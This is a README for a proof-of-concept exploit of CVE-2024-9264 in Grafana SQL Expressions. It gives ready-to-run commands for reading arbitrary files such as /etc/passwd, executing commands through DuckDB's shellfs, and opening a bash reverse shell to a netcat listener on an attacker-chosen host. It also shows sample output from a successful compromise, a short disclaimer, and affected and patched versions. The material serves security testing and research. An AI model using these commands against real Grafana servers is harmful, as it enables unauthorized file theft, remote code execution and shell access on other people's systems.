
CVE-2024-9264 Grafana SQL Expressions DuckDB LFI/RCE PoC
Python proof of concept for CVE-2024-9264, a Grafana SQL Expressions vulnerability that can allow authenticated local file inclusion and command execution when duckdb is available in the Grafana process PATH.
For authorized testing and research only. Do not use against systems you do not own or have explicit permission to test.
authenticated Grafana API access -> SQL Expressions DuckDB query -> file read -> optional shellfs command execution
read_blob(). If command execution is requested, /etc/passwd is used first as the default validation file.shellfs and runs a command through a pipe-backed read_csv() call./tmp/cve_2024_9264_out and prints the decoded result.The vulnerable endpoint can be called directly through the API; dashboard UI interaction is not required. Authentication is still required.



git clone https://github.com/ozcanpng/CVE-2024-9264.git
cd CVE-2024-9264
python3 -m pip install -r requirements.txt
python3 CVE-2024-9264.py -u http://target:3000 --username admin --password admin --file /etc/passwd
When --file is used by itself, the script reads that file directly and prints the decoded content in the file read result section.
python3 CVE-2024-9264.py -u http://target:3000 --username admin --password admin --cmd id
The script first performs a default /etc/passwd file read validation, then delivers the command payload. In the result section it prints the decoded command output instead of the raw Grafana JSON response.
Start a listener:
rlwrap nc -lvnp 4444
Send the reverse shell payload:
python3 CVE-2024-9264.py -u http://target:3000 --username admin --password admin --reverse-shell --lhost 10.10.14.7 --lport 4444
python3 CVE-2024-9264.py -u http://target:3000 --cmd id --dry-run
python3 CVE-2024-9264.py -u http://target:3000 --cmd id --debug
These options are based on the current script CLI:
-u, --url, --target TARGET
Target URL, e.g. http://localhost:3000
--username USERNAME Grafana username. Default: admin
--password PASSWORD Grafana password. Default: admin
--file FILE File path to read. Default proof path: /etc/passwd
--expected-marker MARKER
Marker expected in file read response. Default: root:
--cmd CMD Command to execute through the DuckDB shellfs path
--reverse-shell Run a bash reverse shell payload
--lhost LHOST Listener host for --reverse-shell
--lport LPORT Listener port for --reverse-shell
--timeout TIMEOUT HTTP timeout in seconds. Default: 20
--verify-tls Verify TLS certificates. Default: enabled
-k, --insecure Disable TLS certificate verification
--dry-run Print target and payload metadata without sending requests
--debug Print request debugging metadata
[STEP 2] File Read Result
--------------------------------------------------------------------
[*] File path : /etc/passwd
[*] HTTP status : 200
[+] File content read successfully.
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
grafana:x:472:0::/home/grafana:/usr/sbin/nologin
[STEP 4] Result
--------------------------------------------------------------------
[*] HTTP status : 200
[+] Payload accepted by Grafana.
uid=472(grafana) gid=0(root) groups=0(root)
| Product | Affected Version | Access Required | Impact |
|---|---|---|---|
| Grafana OSS / Enterprise | Grafana 11.0.x, 11.1.x, and 11.2.x before patched security releases | Viewer or higher | Local file inclusion and command injection when DuckDB is present in Grafana's PATH |
Grafana notes that exploitation requires the duckdb binary to be present in the Grafana process PATH; normal Grafana distributions do not install DuckDB by default.
shellfs extension behavior in the target environment.-k or --insecure.11.0.5+security-01, 11.1.6+security-01, 11.2.1+security-01, 11.0.6+security-01, 11.1.7+security-01, and 11.2.2+security-01.ozcanpng - github.com/ozcanpng - ozcanpng.dev